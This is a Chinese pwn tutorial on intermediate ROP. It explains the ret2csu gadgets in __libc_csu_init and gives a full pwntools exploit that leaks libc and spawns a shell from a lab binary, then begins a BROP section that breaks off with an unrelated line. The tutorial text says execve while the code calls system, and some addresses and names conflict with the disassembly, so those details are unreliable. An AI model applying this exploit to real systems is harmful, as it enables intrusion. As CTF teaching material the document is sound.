阅读复现本篇请先拥有PWN前置知识
初阶ROP链
中阶 ROP 主要是使用了一些比较巧妙的 Gadgets。
ret2csu
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的__libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
这里我们可以利用以下几点
-
从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
-
从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
-
从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
示例
这里我们以此为例进行介绍。首先检查程序的安全保护。
https://enc.edu.pl/files/pwn/ret2csu
➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序为 64 位,开启了堆栈不可执行保护。
其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出。
简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。
这里使用的是 execve 来获取 shell。
基本利用思路如下
- 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
- 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
- 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
- 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。
__libc_csu_init的起始地址是 0x0000000000400606, 利用 0x400606 处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,利用 0x4005f0 处的代码将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx*8],这时候将rbx赋值0,可以将想调用的函数地址传给r12。执行完函数之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1。
exp 如下
##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher
#context.log_level='debug'
r=process('./ret2csu')
elf=ELF('./ret2scu')
write_got=elf.got['write']
read_got=elf.got['read']
main_adr=elf.symbols['_start']
bss_adr=elf.bss()
csu_front_adr=0x00000000004005F0
csu_last_adr=0x0000000000400606
fackebp=8*'A'
def csu(rbx,rbp,r12,r13,r14,r15,last):
payload=128*'A'+fackebp
payload+=p64(csu_last_adr)
payload+=p64(0)
payload+=p64(rbx)
payload+=p64(rbp)
payload+=p64(r12)
payload+=p64(r13)
payload+=p64(r14)
payload+=p64(r15)
payload+=p64(csu_front_adr)
payload+=56*'A'
payload+=p64(last)
r.send(payload)
sleep(1)
r.recvuntil('Hello, World\n')
print "send payload first"
# write(1,write_got,8)
csu(0,1,write_got,1,write_got,8,main_adr)
write_adr=u64(r.recv(8))
print "write_adr: " + hex(write_adr)
write_libc= 0x110140
system_libc=0x04f440
offset=write_adr-write_libc
system_adr=offset+system_libc
r.recvuntil('Hello, World\n')
print "send payload seconed"
# read(0,bss_adr,16)
csu(0,1,read_got,0,bss_adr,16,main_adr)
r.send(p64(system_adr)+"/bin/sh\x00")
r.recvuntil('Hello, World\n')
print "send payload third"
# system(bss_adr+8)
csu(0,1,bss_adr,bss_adr+8,0,0,main_adr)
r.interactive()
第一次栈溢出:泄露write函数地址 → 计算libc基址 → 获取execve地址
第二次栈溢出:向bss段写入execve地址和"/bin/sh"字符串
第三次栈溢出:调用execve("/bin/sh")获取shell
BROP
BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind,下面是作者对应的 paper 和 slides, 以及作者相应的介绍。
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
攻击条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
攻击原理
目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。
这一切,似未曾拥有